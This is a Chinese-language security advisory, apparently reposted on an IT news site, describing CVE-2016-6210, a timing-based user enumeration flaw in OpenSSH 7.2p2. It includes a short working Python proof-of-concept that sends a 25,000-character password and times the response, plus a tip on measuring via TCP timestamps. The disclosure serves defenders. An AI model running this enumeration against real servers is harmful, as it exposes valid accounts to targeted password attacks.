频道栏目
首页 > 资讯 > 安全公告 > 正文

OpenSSHD用户枚举漏洞

16-07-20        来源:[db:作者]  
收藏   我要投稿

 

摘要:

通过发送一个长密码,一个远程用户可以枚举在系统上运行SSHD的用户。

这个问题存在于大多数的现代配置中,因为相比于计算BLOWFISH哈希散列,需要更长的时间来计算SHA256 / SHA512。

CVE-ID:CVE-2016-6210

测试的版本:

这个问题在版本opensshd - 7.2 - p2(也应该在更早期的版本上进行测试)上进行了测试。

修复:

这个问题被OPENSSH的开发小组报道,而且他们已经开发出了一个修复补丁(不过目前还不知道这个补丁是否发布)。(特别感谢'dtucker () zip com au'的快速回复和解决建议)。

详细信息:

当SSHD试图验证一个不存在的用户时,它会进入一个硬编码在SSHD源代码中的假密码结构。在这个硬编码的密码结构中密码的哈希计算基于BLOWFISH 算法。如果是一个真实的有效用户密码,则会使用SHA256 / SHA512进行哈希计算。由于计算SHA256 / SHA512哈希比计算BLOWFISH哈希耗时要长,所以如果发送的密码大于10KB,将会导致相比于不存在的用户来说收到来自服务器的响应会存在一个时间差。

示例代码:

import paramiko

import time

user=raw_input("user: ")

p='A'*25000

ssh = paramiko.SSHClient()

starttime=time.clock()

ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

try:

ssh.connect('127.0.0.1', username=user,

password=p)

except:

endtime=time.clock()

total=endtime-starttime

print(total)

(有效的用户将会需要更高的总时间)。

请注意,如果SSHD配置禁止root登录,那么root就不被视为有效的用户…

如果启用了TCP时间戳选项,那么度量时间的最佳方法是使用来自服务器的TCP数据包的时间戳,因为这将会消除任何网络延迟。

相关TAG标签
上一篇:Linux和windows双系统启动问题之一(win7 + ubuntu14.04 + legacy bios + mbr)
下一篇:360涅槃团队协助苹果修复内核漏洞 获公开致谢
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站